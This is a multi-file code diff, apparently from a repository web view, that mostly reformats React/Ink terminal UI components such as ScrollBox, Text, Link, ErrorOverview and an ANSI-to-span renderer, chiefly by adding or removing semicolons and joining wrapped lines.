useEffect(() => {
clock.setTickInterval(
focused ? FRAME_INTERVAL_MS : BLURRED_TICK_INTERVAL_MS,
)
}, [clock, focused])
clock.setTickInterval(focused ? FRAME_INTERVAL_MS : BLURRED_TICK_INTERVAL_MS);
}, [clock, focused]);
return <ClockContext.Provider value={clock}>{children}</ClockContext.Provider>
return <ClockContext.Provider value={clock}>{children}</ClockContext.Provider>;
}

View File

@@ -1,48 +1,48 @@
import codeExcerpt, { type CodeExcerpt } from 'code-excerpt'
import { readFileSync } from 'fs'
import React from 'react'
import StackUtils from 'stack-utils'
import Box from './Box.js'
import Text from './Text.js'
import codeExcerpt, { type CodeExcerpt } from 'code-excerpt';
import { readFileSync } from 'fs';
import React from 'react';
import StackUtils from 'stack-utils';
import Box from './Box.js';
import Text from './Text.js';
/* eslint-disable custom-rules/no-process-cwd -- stack trace file:// paths are relative to the real OS cwd, not the virtual cwd */
// Error's source file is reported as file:///home/user/file.js
// This function removes the file://[cwd] part
const cleanupPath = (path: string | undefined): string | undefined => {
return path?.replace(`file://${process.cwd()}/`, '')
}
return path?.replace(`file://${process.cwd()}/`, '');
};
let stackUtils: StackUtils | undefined
let stackUtils: StackUtils | undefined;
function getStackUtils(): StackUtils {
return (stackUtils ??= new StackUtils({
cwd: process.cwd(),
internals: StackUtils.nodeInternals(),
}))
}));
}
/* eslint-enable custom-rules/no-process-cwd */
type Props = {
readonly error: Error
}
readonly error: Error;
};
export default function ErrorOverview({ error }: Props) {
const stack = error.stack ? error.stack.split('\n').slice(1) : undefined
const origin = stack ? getStackUtils().parseLine(stack[0]!) : undefined
const filePath = cleanupPath(origin?.file)
let excerpt: CodeExcerpt[] | undefined
let lineWidth = 0
const stack = error.stack ? error.stack.split('\n').slice(1) : undefined;
const origin = stack ? getStackUtils().parseLine(stack[0]!) : undefined;
const filePath = cleanupPath(origin?.file);
let excerpt: CodeExcerpt[] | undefined;
let lineWidth = 0;
if (filePath && origin?.line) {
try {
// eslint-disable-next-line custom-rules/no-sync-fs -- sync render path; error overlay can't go async without suspense restructuring
const sourceCode = readFileSync(filePath, 'utf8')
excerpt = codeExcerpt(sourceCode, origin.line)
const sourceCode = readFileSync(filePath, 'utf8');
excerpt = codeExcerpt(sourceCode, origin.line);
if (excerpt) {
for (const { line } of excerpt) {
lineWidth = Math.max(lineWidth, String(line).length)
lineWidth = Math.max(lineWidth, String(line).length);
}
}
} catch {
@@ -76,9 +76,7 @@ export default function ErrorOverview({ error }: Props) {
<Box width={lineWidth + 1}>
<Text
dim={line !== origin.line}
backgroundColor={
line === origin.line ? 'ansi:red' : undefined
}
backgroundColor={line === origin.line ? 'ansi:red' : undefined}
color={line === origin.line ? 'ansi:white' : undefined}
>
{String(line).padStart(lineWidth, ' ')}:
@@ -103,7 +101,7 @@ export default function ErrorOverview({ error }: Props) {
.split('\n')
.slice(1)
.map(line => {
const parsedLine = getStackUtils().parseLine(line)
const parsedLine = getStackUtils().parseLine(line);
// If the line from the stack cannot be parsed, we print out the unparsed line.
if (!parsedLine) {
@@ -112,7 +110,7 @@ export default function ErrorOverview({ error }: Props) {
<Text dim>- </Text>
<Text bold>{line}</Text>
</Box>
)
);
}
return (
@@ -121,14 +119,13 @@ export default function ErrorOverview({ error }: Props) {
<Text bold>{parsedLine.function}</Text>
<Text dim>
{' '}
({cleanupPath(parsedLine.file) ?? ''}:{parsedLine.line}:
{parsedLine.column})
({cleanupPath(parsedLine.file) ?? ''}:{parsedLine.line}:{parsedLine.column})
</Text>
</Box>
)
);
})}
</Box>
)}
</Box>
)
);
}

View File

@@ -1,21 +1,17 @@
import type { ReactNode } from 'react'
import React from 'react'
import { supportsHyperlinks } from '../core/supports-hyperlinks.js'
import Text from './Text.js'
import type { ReactNode } from 'react';
import React from 'react';
import { supportsHyperlinks } from '../core/supports-hyperlinks.js';
import Text from './Text.js';
export type Props = {
readonly children?: ReactNode
readonly url: string
readonly fallback?: ReactNode
}
readonly children?: ReactNode;
readonly url: string;
readonly fallback?: ReactNode;
};
export default function Link({
children,
url,
fallback,
}: Props): React.ReactNode {
export default function Link({ children, url, fallback }: Props): React.ReactNode {
// Use children if provided, otherwise display the URL
const content = children ?? url
const content = children ?? url;
if (supportsHyperlinks()) {
// Wrap in Text to ensure we're in a text context
@@ -24,8 +20,8 @@ export default function Link({
<Text>
<ink-link href={url}>{content}</ink-link>
</Text>
)
);
}
return <Text>{fallback ?? content}</Text>
return <Text>{fallback ?? content}</Text>;
}

View File

@@ -1,4 +1,4 @@
import React from 'react'
import React from 'react';
export type Props = {
/**
@@ -6,12 +6,12 @@ export type Props = {
*
* @default 1
*/
readonly count?: number
}
readonly count?: number;
};
/**
* Adds one or more newline (\n) characters. Must be used within <Text> components.
*/
export default function Newline({ count = 1 }: Props) {
return <ink-text>{'\n'.repeat(count)}</ink-text>
return <ink-text>{'\n'.repeat(count)}</ink-text>;
}

View File

@@ -1,5 +1,5 @@
import React, { type PropsWithChildren } from 'react'
import Box, { type Props as BoxProps } from './Box.js'
import React, { type PropsWithChildren } from 'react';
import Box, { type Props as BoxProps } from './Box.js';
type Props = Omit<BoxProps, 'noSelect'> & {
/**
@@ -11,8 +11,8 @@ type Props = Omit<BoxProps, 'noSelect'> & {
*
* @default false
*/
fromLeftEdge?: boolean
}
fromLeftEdge?: boolean;
};
/**
* Marks its contents as non-selectable in fullscreen text selection.
@@ -32,14 +32,10 @@ type Props = Omit<BoxProps, 'noSelect'> & {
* tracking). No-op in the main-screen scrollback render where the
* terminal's native selection is used instead.
*/
export function NoSelect({
children,
fromLeftEdge,
...boxProps
}: PropsWithChildren<Props>): React.ReactNode {
export function NoSelect({ children, fromLeftEdge, ...boxProps }: PropsWithChildren<Props>): React.ReactNode {
return (
<Box {...boxProps} noSelect={fromLeftEdge ? 'from-left-edge' : true}>
{children}
</Box>
)
);
}

View File

@@ -1,14 +1,14 @@
import React from 'react'
import React from 'react';
type Props = {
/**
* Pre-rendered ANSI lines. Each element must be exactly one terminal row
* (already wrapped to `width` by the producer) with ANSI escape codes inline.
*/
lines: string[]
lines: string[];
/** Column width the producer wrapped to. Sent to Yoga as the fixed leaf width. */
width: number
}
width: number;
};
/**
* Bypass the <Ansi> → React tree → Yoga → squash → re-serialize roundtrip for
@@ -27,13 +27,7 @@ type Props = {
*/
export function RawAnsi({ lines, width }: Props): React.ReactNode {
if (lines.length === 0) {
return null
return null;
}
return (
<ink-raw-ansi
rawText={lines.join('\n')}
rawWidth={width}
rawHeight={lines.length}
/>
)
return <ink-raw-ansi rawText={lines.join('\n')} rawWidth={width} rawHeight={lines.length} />;
}

View File

@@ -1,20 +1,14 @@
import React, {
type PropsWithChildren,
type Ref,
useImperativeHandle,
useRef,
useState,
} from 'react'
import type { Except } from 'type-fest'
import type { DOMElement } from '../core/dom.js'
import { markDirty, scheduleRenderFrom } from '../core/dom.js'
import { markCommitStart } from '../core/reconciler.js'
import type { Styles } from '../core/styles.js'
import Box from './Box.js'
import React, { type PropsWithChildren, type Ref, useImperativeHandle, useRef, useState } from 'react';
import type { Except } from 'type-fest';
import type { DOMElement } from '../core/dom.js';
import { markDirty, scheduleRenderFrom } from '../core/dom.js';
import { markCommitStart } from '../core/reconciler.js';
import type { Styles } from '../core/styles.js';
import Box from './Box.js';
export type ScrollBoxHandle = {
scrollTo: (y: number) => void
scrollBy: (dy: number) => void
scrollTo: (y: number) => void;
scrollBy: (dy: number) => void;
/**
* Scroll so `el`'s top is at the viewport top (plus `offset`). Unlike
* scrollTo which bakes a number that's stale by the time the throttled
@@ -22,24 +16,24 @@ export type ScrollBoxHandle = {
* render-node-to-output reads `el.yogaNode.getComputedTop()` in the
* SAME Yoga pass that computes scrollHeight. Deterministic. One-shot.
*/
scrollToElement: (el: DOMElement, offset?: number) => void
scrollToBottom: () => void
getScrollTop: () => number
getPendingDelta: () => number
getScrollHeight: () => number
scrollToElement: (el: DOMElement, offset?: number) => void;
scrollToBottom: () => void;
getScrollTop: () => number;
getPendingDelta: () => number;
getScrollHeight: () => number;
/**
* Like getScrollHeight, but reads Yoga directly instead of the cached
* value written by render-node-to-output (throttled, up to 16ms stale).
* Use when you need a fresh value in useLayoutEffect after a React commit
* that grew content. Slightly more expensive (native Yoga call).
*/
getFreshScrollHeight: () => number
getViewportHeight: () => number
getFreshScrollHeight: () => number;
getViewportHeight: () => number;
/**
* Absolute screen-buffer row of the first visible content line (inside
* padding). Used for drag-to-scroll edge detection.
*/
getViewportTop: () => number
getViewportTop: () => number;
/**
* True when scroll is pinned to the bottom. Set by scrollToBottom, the
* initial stickyScroll attribute, and by the renderer when positional
@@ -47,14 +41,14 @@ export type ScrollBoxHandle = {
* scrollTo/scrollBy. Stable signal for "at bottom" that doesn't depend on
* layout values (unlike scrollTop+viewportH >= scrollHeight).
*/
isSticky: () => boolean
isSticky: () => boolean;
/**
* Subscribe to imperative scroll changes (scrollTo/scrollBy/scrollToBottom).
* Does NOT fire for stickyScroll updates done by the Ink renderer — those
* happen during Ink's render phase after React has committed. Callers that
* care about the sticky case should treat "at bottom" as a fallback.
*/
subscribe: (listener: () => void) => () => void
subscribe: (listener: () => void) => () => void;
/**
* Set the render-time scrollTop clamp to the currently-mounted children's
* coverage span. Called by useVirtualScroll after computing its range;
@@ -63,20 +57,17 @@ export type ScrollBoxHandle = {
* content instead of blank spacer. Pass undefined to disable (sticky,
* cold start).
*/
setClampBounds: (min: number | undefined, max: number | undefined) => void
}
setClampBounds: (min: number | undefined, max: number | undefined) => void;
};
export type ScrollBoxProps = Except<
Styles,
'textWrap' | 'overflow' | 'overflowX' | 'overflowY'
> & {
ref?: Ref<ScrollBoxHandle>
export type ScrollBoxProps = Except<Styles, 'textWrap' | 'overflow' | 'overflowX' | 'overflowY'> & {
ref?: Ref<ScrollBoxHandle>;
/**
* When true, automatically pins scroll position to the bottom when content
* grows. Unset manually via scrollTo/scrollBy to break the stickiness.
*/
stickyScroll?: boolean
}
stickyScroll?: boolean;
};
/**
* A Box with `overflow: scroll` and an imperative scroll API.
@@ -88,13 +79,8 @@ export type ScrollBoxProps = Except<
*
* Works best inside a fullscreen (constrained-height root) Ink tree.
*/
function ScrollBox({
children,
ref,
stickyScroll,
...style
}: PropsWithChildren<ScrollBoxProps>): React.ReactNode {
const domRef = useRef<DOMElement>(null)
function ScrollBox({ children, ref, stickyScroll, ...style }: PropsWithChildren<ScrollBoxProps>): React.ReactNode {
const domRef = useRef<DOMElement>(null);
// scrollTo/scrollBy bypass React: they mutate scrollTop on the DOM node,
// mark it dirty, and call the root's throttled scheduleRender directly.
// The Ink renderer reads scrollTop from the node — no React state needed,
@@ -103,113 +89,109 @@ function ScrollBox({
// render — otherwise scheduleRender's leading edge fires on the FIRST
// event before subsequent events mutate scrollTop. scrollToBottom still
// forces a React render: sticky is attribute-observed, no DOM-only path.
const [, forceRender] = useState(0)
const listenersRef = useRef(new Set<() => void>())
const renderQueuedRef = useRef(false)
const [, forceRender] = useState(0);
const listenersRef = useRef(new Set<() => void>());
const renderQueuedRef = useRef(false);
const notify = () => {
for (const l of listenersRef.current) l()
}
for (const l of listenersRef.current) l();
};
function scrollMutated(el: DOMElement): void {
// Signal background intervals (IDE poll, LSP poll, GCS fetch, orphan
// check) to skip their next tick — they compete for the event loop and
// contributed to 1402ms max frame gaps during scroll drain.
// noop — injected by business layer via onScrollActivity callback
markDirty(el)
markCommitStart()
notify()
if (renderQueuedRef.current) return
renderQueuedRef.current = true
markDirty(el);
markCommitStart();
notify();
if (renderQueuedRef.current) return;
renderQueuedRef.current = true;
queueMicrotask(() => {
renderQueuedRef.current = false
scheduleRenderFrom(el)
})
renderQueuedRef.current = false;
scheduleRenderFrom(el);
});
}
useImperativeHandle(
ref,
(): ScrollBoxHandle => ({
scrollTo(y: number) {
const el = domRef.current
if (!el) return
const el = domRef.current;
if (!el) return;
// Explicit false overrides the DOM attribute so manual scroll
// breaks stickiness. Render code checks ?? precedence.
el.stickyScroll = false
el.pendingScrollDelta = undefined
el.scrollAnchor = undefined
el.scrollTop = Math.max(0, Math.floor(y))
scrollMutated(el)
el.stickyScroll = false;
el.pendingScrollDelta = undefined;
el.scrollAnchor = undefined;
el.scrollTop = Math.max(0, Math.floor(y));
scrollMutated(el);
},
scrollToElement(el: DOMElement, offset = 0) {
const box = domRef.current
if (!box) return
box.stickyScroll = false
box.pendingScrollDelta = undefined
box.scrollAnchor = { el, offset }
scrollMutated(box)
const box = domRef.current;
if (!box) return;
box.stickyScroll = false;
box.pendingScrollDelta = undefined;
box.scrollAnchor = { el, offset };
scrollMutated(box);
},
scrollBy(dy: number) {
const el = domRef.current
if (!el) return
el.stickyScroll = false
const el = domRef.current;
if (!el) return;
el.stickyScroll = false;
// Wheel input cancels any in-flight anchor seek — user override.
el.scrollAnchor = undefined
el.scrollAnchor = undefined;
// Accumulate in pendingScrollDelta; renderer drains it at a capped
// rate so fast flicks show intermediate frames. Pure accumulator:
// scroll-up followed by scroll-down naturally cancels.
el.pendingScrollDelta = (el.pendingScrollDelta ?? 0) + Math.floor(dy)
scrollMutated(el)
el.pendingScrollDelta = (el.pendingScrollDelta ?? 0) + Math.floor(dy);
scrollMutated(el);
},
scrollToBottom() {
const el = domRef.current
if (!el) return
el.pendingScrollDelta = undefined
el.stickyScroll = true
markDirty(el)
notify()
forceRender(n => n + 1)
const el = domRef.current;
if (!el) return;
el.pendingScrollDelta = undefined;
el.stickyScroll = true;
markDirty(el);
notify();
forceRender(n => n + 1);
},
getScrollTop() {
return domRef.current?.scrollTop ?? 0
return domRef.current?.scrollTop ?? 0;
},
getPendingDelta() {
// Accumulated-but-not-yet-drained delta. useVirtualScroll needs
// this to mount the union [committed, committed+pending] range —
// otherwise intermediate drain frames find no children (blank).
return domRef.current?.pendingScrollDelta ?? 0
return domRef.current?.pendingScrollDelta ?? 0;
},
getScrollHeight() {
return domRef.current?.scrollHeight ?? 0
return domRef.current?.scrollHeight ?? 0;
},
getFreshScrollHeight() {
const content = domRef.current?.childNodes[0] as DOMElement | undefined
return (
content?.yogaNode?.getComputedHeight() ??
domRef.current?.scrollHeight ??
0
)
const content = domRef.current?.childNodes[0] as DOMElement | undefined;
return content?.yogaNode?.getComputedHeight() ?? domRef.current?.scrollHeight ?? 0;
},
getViewportHeight() {
return domRef.current?.scrollViewportHeight ?? 0
return domRef.current?.scrollViewportHeight ?? 0;
},
getViewportTop() {
return domRef.current?.scrollViewportTop ?? 0
return domRef.current?.scrollViewportTop ?? 0;
},
isSticky() {
const el = domRef.current
if (!el) return false
return el.stickyScroll ?? Boolean(el.attributes['stickyScroll'])
const el = domRef.current;
if (!el) return false;
return el.stickyScroll ?? Boolean(el.attributes['stickyScroll']);
},
subscribe(listener: () => void) {
listenersRef.current.add(listener)
return () => listenersRef.current.delete(listener)
listenersRef.current.add(listener);
return () => listenersRef.current.delete(listener);
},
setClampBounds(min, max) {
const el = domRef.current
if (!el) return
el.scrollClampMin = min
el.scrollClampMax = max
const el = domRef.current;
if (!el) return;
el.scrollClampMin = min;
el.scrollClampMax = max;
},
}),
// notify/scrollMutated are inline (no useCallback) but only close over
@@ -217,7 +199,7 @@ function ScrollBox({
// every render (which re-registers the ref = churn).
// eslint-disable-next-line react-hooks/exhaustive-deps
[],
)
);
// Structure: outer viewport (overflow:scroll, constrained height) >
// inner content (flexGrow:1, flexShrink:0 — fills at least the viewport
@@ -233,8 +215,8 @@ function ScrollBox({
return (
<ink-box
ref={el => {
domRef.current = el
if (el) el.scrollTop ??= 0
domRef.current = el;
if (el) el.scrollTop ??= 0;
}}
style={{
flexWrap: 'nowrap',
@@ -251,7 +233,7 @@ function ScrollBox({
{children}
</Box>
</ink-box>
)
);
}
export default ScrollBox
export default ScrollBox;

View File

@@ -1,10 +1,10 @@
import React from 'react'
import Box from './Box.js'
import React from 'react';
import Box from './Box.js';
/**
* A flexible space that expands along the major axis of its containing layout.
* It's useful as a shortcut for filling all the available spaces between elements.
*/
export default function Spacer() {
return <Box flexGrow={1} />
return <Box flexGrow={1} />;
}

View File

@@ -1,53 +1,36 @@
import React, { createContext, useMemo, useSyncExternalStore } from 'react'
import React, { createContext, useMemo, useSyncExternalStore } from 'react';
import {
getTerminalFocused,
getTerminalFocusState,
subscribeTerminalFocus,
type TerminalFocusState,
} from '../core/terminal-focus-state.js'
} from '../core/terminal-focus-state.js';
export type { TerminalFocusState }
export type { TerminalFocusState };
export type TerminalFocusContextProps = {
readonly isTerminalFocused: boolean
readonly terminalFocusState: TerminalFocusState
}
readonly isTerminalFocused: boolean;
readonly terminalFocusState: TerminalFocusState;
};
const TerminalFocusContext = createContext<TerminalFocusContextProps>({
isTerminalFocused: true,
terminalFocusState: 'unknown',
})
});
// eslint-disable-next-line custom-rules/no-top-level-side-effects
TerminalFocusContext.displayName = 'TerminalFocusContext'
TerminalFocusContext.displayName = 'TerminalFocusContext';
// Separate component so App.tsx doesn't re-render on focus changes.
// Children are a stable prop reference, so they don't re-render either —
// only components that consume the context will re-render.
export function TerminalFocusProvider({
children,
}: {
children: React.ReactNode
}): React.ReactNode {
const isTerminalFocused = useSyncExternalStore(
subscribeTerminalFocus,
getTerminalFocused,
)
const terminalFocusState = useSyncExternalStore(
subscribeTerminalFocus,
getTerminalFocusState,
)
export function TerminalFocusProvider({ children }: { children: React.ReactNode }): React.ReactNode {
const isTerminalFocused = useSyncExternalStore(subscribeTerminalFocus, getTerminalFocused);
const terminalFocusState = useSyncExternalStore(subscribeTerminalFocus, getTerminalFocusState);
const value = useMemo(
() => ({ isTerminalFocused, terminalFocusState }),
[isTerminalFocused, terminalFocusState],
)
const value = useMemo(() => ({ isTerminalFocused, terminalFocusState }), [isTerminalFocused, terminalFocusState]);
return (
<TerminalFocusContext.Provider value={value}>
{children}
</TerminalFocusContext.Provider>
)
return <TerminalFocusContext.Provider value={value}>{children}</TerminalFocusContext.Provider>;
}
export default TerminalFocusContext
export default TerminalFocusContext;

View File

@@ -1,8 +1,8 @@
import { createContext } from 'react'
import { createContext } from 'react';
export type TerminalSize = {
columns: number
rows: number
}
columns: number;
rows: number;
};
export const TerminalSizeContext = createContext<TerminalSize | null>(null)
export const TerminalSizeContext = createContext<TerminalSize | null>(null);

View File

@@ -1,58 +1,55 @@
import type { ReactNode } from 'react'
import React from 'react'
import type { Color, Styles, TextStyles } from '../core/styles.js'
import type { ReactNode } from 'react';
import React from 'react';
import type { Color, Styles, TextStyles } from '../core/styles.js';
type BaseProps = {
/**
* Change text color. Accepts a raw color value (rgb, hex, ansi).
*/
readonly color?: Color
readonly color?: Color;
/**
* Same as `color`, but for background.
*/
readonly backgroundColor?: Color
readonly backgroundColor?: Color;
/**
* Make the text italic.
*/
readonly italic?: boolean
readonly italic?: boolean;
/**
* Make the text underlined.
*/
readonly underline?: boolean
readonly underline?: boolean;
/**
* Make the text crossed with a line.
*/
readonly strikethrough?: boolean
readonly strikethrough?: boolean;
/**
* Inverse background and foreground colors.
*/
readonly inverse?: boolean
readonly inverse?: boolean;
/**
* This property tells Ink to wrap or truncate text if its width is larger than container.
* If `wrap` is passed (by default), Ink will wrap text and split it into multiple lines.
* If `truncate-*` is passed, Ink will truncate text instead, which will result in one line of text with the rest cut off.
*/
readonly wrap?: Styles['textWrap']
readonly wrap?: Styles['textWrap'];
readonly children?: ReactNode
}
readonly children?: ReactNode;
};
/**
* Bold and dim are mutually exclusive in terminals.
* This type ensures you can use one or the other, but not both.
*/
type WeightProps =
| { bold?: never; dim?: never }
| { bold: boolean; dim?: never }
| { dim: boolean; bold?: never }
type WeightProps = { bold?: never; dim?: never } | { bold: boolean; dim?: never } | { dim: boolean; bold?: never };
export type Props = BaseProps & WeightProps
export type Props = BaseProps & WeightProps;
const memoizedStylesForWrap: Record<NonNullable<Styles['textWrap']>, Styles> = {
wrap: {
@@ -103,7 +100,7 @@ const memoizedStylesForWrap: Record<NonNullable<Styles['textWrap']>, Styles> = {
flexDirection: 'row',
textWrap: 'truncate-start',
},
} as const
} as const;
/**
* This component can display text, and change its style to make it colorful, bold, underline, italic or strikethrough.
@@ -121,7 +118,7 @@ export default function Text({
children,
}: Props): React.ReactNode {
if (children === undefined || children === null) {
return null
return null;
}
// Build textStyles object with only the properties that are set
@@ -134,11 +131,11 @@ export default function Text({
...(underline && { underline }),
...(strikethrough && { strikethrough }),
...(inverse && { inverse }),
}
};
return (
<ink-text style={memoizedStylesForWrap[wrap]} textStyles={textStyles}>
{children}
</ink-text>
)
);
}

View File

@@ -1,31 +1,26 @@
import React from 'react'
import Link from '../components/Link.js'
import Text from '../components/Text.js'
import type { Color } from './styles.js'
import {
type NamedColor,
Parser,
type Color as TermioColor,
type TextStyle,
} from './termio.js'
import React from 'react';
import Link from '../components/Link.js';
import Text from '../components/Text.js';
import type { Color } from './styles.js';
import { type NamedColor, Parser, type Color as TermioColor, type TextStyle } from './termio.js';
type Props = {
children: string
children: string;
/** When true, force all text to be rendered with dim styling */
dimColor?: boolean
}
dimColor?: boolean;
};
type SpanProps = {
color?: Color
backgroundColor?: Color
dim?: boolean
bold?: boolean
italic?: boolean
underline?: boolean
strikethrough?: boolean
inverse?: boolean
hyperlink?: string
}
color?: Color;
backgroundColor?: Color;
dim?: boolean;
bold?: boolean;
italic?: boolean;
underline?: boolean;
strikethrough?: boolean;
inverse?: boolean;
hyperlink?: string;
};
/**
* Component that parses ANSI escape codes and renders them using Text components.
@@ -35,43 +30,32 @@ type SpanProps = {
*
* Memoized to prevent re-renders when parent changes but children string is the same.
*/
export const Ansi = React.memo(function Ansi({
children,
dimColor,
}: Props): React.ReactNode {
export const Ansi = React.memo(function Ansi({ children, dimColor }: Props): React.ReactNode {
if (typeof children !== 'string') {
return dimColor ? (
<Text dim>{String(children)}</Text>
) : (
<Text>{String(children)}</Text>
)
return dimColor ? <Text dim>{String(children)}</Text> : <Text>{String(children)}</Text>;
}
if (children === '') {
return null
return null;
}
const spans = parseToSpans(children)
const spans = parseToSpans(children);
if (spans.length === 0) {
return null
return null;
}
if (spans.length === 1 && !hasAnyProps(spans[0]!.props)) {
return dimColor ? (
<Text dim>{spans[0]!.text}</Text>
) : (
<Text>{spans[0]!.text}</Text>
)
return dimColor ? <Text dim>{spans[0]!.text}</Text> : <Text>{spans[0]!.text}</Text>;
}
const content = spans.map((span, i) => {
const hyperlink = span.props.hyperlink
const hyperlink = span.props.hyperlink;
// When dimColor is forced, override the span's dim prop
if (dimColor) {
span.props.dim = true
span.props.dim = true;
}
const hasTextProps = hasAnyTextProps(span.props)
const hasTextProps = hasAnyTextProps(span.props);
if (hyperlink) {
return hasTextProps ? (
@@ -93,7 +77,7 @@ export const Ansi = React.memo(function Ansi({
<Link key={i} url={hyperlink}>
{span.text}
</Link>
)
);
}
return hasTextProps ? (
@@ -112,79 +96,79 @@ export const Ansi = React.memo(function Ansi({
</StyledText>
) : (
span.text
)
})
);
});
return dimColor ? <Text dim>{content}</Text> : <Text>{content}</Text>
})
return dimColor ? <Text dim>{content}</Text> : <Text>{content}</Text>;
});
type Span = {
text: string
props: SpanProps
}
text: string;
props: SpanProps;
};
/**
* Parse an ANSI string into spans using the termio parser.
*/
function parseToSpans(input: string): Span[] {
const parser = new Parser()
const actions = parser.feed(input)
const spans: Span[] = []
const parser = new Parser();
const actions = parser.feed(input);
const spans: Span[] = [];
let currentHyperlink: string | undefined
let currentHyperlink: string | undefined;
for (const action of actions) {
if (action.type === 'link') {
if (action.action.type === 'start') {
currentHyperlink = action.action.url
currentHyperlink = action.action.url;
} else {
currentHyperlink = undefined
currentHyperlink = undefined;
}
continue
continue;
}
if (action.type === 'text') {
const text = action.graphemes.map(g => g.value).join('')
if (!text) continue
const text = action.graphemes.map(g => g.value).join('');
if (!text) continue;
const props = textStyleToSpanProps(action.style)
const props = textStyleToSpanProps(action.style);
if (currentHyperlink) {
props.hyperlink = currentHyperlink
props.hyperlink = currentHyperlink;
}
// Try to merge with previous span if props match
const lastSpan = spans[spans.length - 1]
const lastSpan = spans[spans.length - 1];
if (lastSpan && propsEqual(lastSpan.props, props)) {
lastSpan.text += text
lastSpan.text += text;
} else {
spans.push({ text, props })
spans.push({ text, props });
}
}
}
return spans
return spans;
}
/**
* Convert termio's TextStyle to SpanProps.
*/
function textStyleToSpanProps(style: TextStyle): SpanProps {
const props: SpanProps = {}
const props: SpanProps = {};
if (style.bold) props.bold = true
if (style.dim) props.dim = true
if (style.italic) props.italic = true
if (style.underline !== 'none') props.underline = true
if (style.strikethrough) props.strikethrough = true
if (style.inverse) props.inverse = true
if (style.bold) props.bold = true;
if (style.dim) props.dim = true;
if (style.italic) props.italic = true;
if (style.underline !== 'none') props.underline = true;
if (style.strikethrough) props.strikethrough = true;
if (style.inverse) props.inverse = true;
const fgColor = colorToString(style.fg)
if (fgColor) props.color = fgColor
const fgColor = colorToString(style.fg);
if (fgColor) props.color = fgColor;
const bgColor = colorToString(style.bg)
if (bgColor) props.backgroundColor = bgColor
const bgColor = colorToString(style.bg);
if (bgColor) props.backgroundColor = bgColor;
return props
return props;
}
// Map termio named colors to the ansi: format
@@ -205,7 +189,7 @@ const NAMED_COLOR_MAP: Record<NamedColor, string> = {
brightMagenta: 'ansi:magentaBright',
brightCyan: 'ansi:cyanBright',
brightWhite: 'ansi:whiteBright',
}
};
/**
* Convert termio's Color to the string format used by Ink.
@@ -213,13 +197,13 @@ const NAMED_COLOR_MAP: Record<NamedColor, string> = {
function colorToString(color: TermioColor): Color | undefined {
switch (color.type) {
case 'named':
return NAMED_COLOR_MAP[color.name] as Color
return NAMED_COLOR_MAP[color.name] as Color;
case 'indexed':
return `ansi256(${color.index})` as Color
return `ansi256(${color.index})` as Color;
case 'rgb':
return `rgb(${color.r},${color.g},${color.b})` as Color
return `rgb(${color.r},${color.g},${color.b})` as Color;
case 'default':
return undefined
return undefined;
}
}
@@ -237,7 +221,7 @@ function propsEqual(a: SpanProps, b: SpanProps): boolean {
a.strikethrough === b.strikethrough &&
a.inverse === b.inverse &&
a.hyperlink === b.hyperlink
)
);
}
function hasAnyProps(props: SpanProps): boolean {
@@ -251,7 +235,7 @@ function hasAnyProps(props: SpanProps): boolean {
props.strikethrough === true ||
props.inverse === true ||
props.hyperlink !== undefined
)
);
}
function hasAnyTextProps(props: SpanProps): boolean {
@@ -264,18 +248,18 @@ function hasAnyTextProps(props: SpanProps): boolean {
props.underline === true ||
props.strikethrough === true ||
props.inverse === true
)
);
}
// Text style props without weight (bold/dim) - these are handled separately
type BaseTextStyleProps = {
color?: Color
backgroundColor?: Color
italic?: boolean
underline?: boolean
strikethrough?: boolean
inverse?: boolean
}
color?: Color;
backgroundColor?: Color;
italic?: boolean;
underline?: boolean;
strikethrough?: boolean;
inverse?: boolean;
};
// Wrapper component that handles bold/dim mutual exclusivity for Text
function StyledText({
@@ -284,9 +268,9 @@ function StyledText({
children,
...rest
}: BaseTextStyleProps & {
bold?: boolean
dim?: boolean
children: string
bold?: boolean;
dim?: boolean;
children: string;
}): React.ReactNode {
// dim takes precedence over bold when both are set (terminals treat them as mutually exclusive)
if (dim) {
@@ -294,14 +278,14 @@ function StyledText({
<Text {...rest} dim>
{children}
</Text>
)
);
}
if (bold) {
return (
<Text {...rest} bold>
{children}
</Text>
)
);
}
return <Text {...rest}>{children}</Text>
return <Text {...rest}>{children}</Text>;
}

View File

@@ -17,8 +17,16 @@
import bidiFactory from 'bidi-js'
type BidiInstance = {
getEmbeddingLevels: (text: string, defaultDirection?: string) => { paragraphLevel: number; levels: Uint8Array }
getReorderSegments: (text: string, embeddingLevels: { paragraphLevel: number; levels: Uint8Array }, start?: number, end?: number) => [number, number][]
getEmbeddingLevels: (
text: string,
defaultDirection?: string,
) => { paragraphLevel: number; levels: Uint8Array }
getReorderSegments: (
text: string,
embeddingLevels: { paragraphLevel: number; levels: Uint8Array },
start?: number,
end?: number,
) => [number, number][]
getVisualOrder: (reorderSegments: [number, number][]) => number[]
}

View File

@@ -1,2 +1,2 @@
// Auto-generated stub — replace with real implementation
export type Cursor = any;
export type Cursor = any

View File

@@ -1,2 +1,2 @@
// Auto-generated stub — replace with real implementation
export {};
export {}

View File

@@ -37,7 +37,9 @@ export class MouseActionEvent extends Event {
/** Recompute local coords relative to the target Box. */
prepareForTarget(target: EventTarget): void {
const dom = target as unknown as { yogaNode?: { getComputedLeft?(): number; getComputedTop?(): number } }
const dom = target as unknown as {
yogaNode?: { getComputedLeft?(): number; getComputedTop?(): number }
}
this.localCol = this.col - (dom.yogaNode?.getComputedLeft?.() ?? 0)
this.localRow = this.row - (dom.yogaNode?.getComputedTop?.() ?? 0)
}

View File

@@ -1,2 +1,2 @@
// Auto-generated stub — replace with real implementation
export type PasteEvent = any;
export type PasteEvent = any

View File

@@ -1,2 +1,2 @@
// Auto-generated stub — replace with real implementation
export type ResizeEvent = any;
export type ResizeEvent = any

File diff suppressed because it is too large Load Diff

View File

@@ -67,7 +67,7 @@ export class LogUpdate {
const { screen } = frame
const lines: string[] = []
let currentStyles: AnsiCode[] = []
let currentHyperlink: Hyperlink = undefined
let currentHyperlink: Hyperlink
for (let y = 0; y < screen.height; y++) {
let line = ''
for (let x = 0; x < screen.width; x++) {
@@ -301,7 +301,7 @@ export class LogUpdate {
cursorRestoreScroll
let currentStyleId = stylePool.none
let currentHyperlink: Hyperlink = undefined
let currentHyperlink: Hyperlink
// First pass: render changes to existing rows (rows < prev.screen.height)
let needsFullReset = false
@@ -533,7 +533,7 @@ function renderFrameSlice(
stylePool: StylePool,
): VirtualScreen {
let currentStyleId = stylePool.none
let currentHyperlink: Hyperlink = undefined
let currentHyperlink: Hyperlink
// Track the styleId of the last rendered cell on this line (-1 if none).
// Passed to visibleCellAtIndex to enable fg-only space optimization.
let lastRenderedStyleId = -1

View File

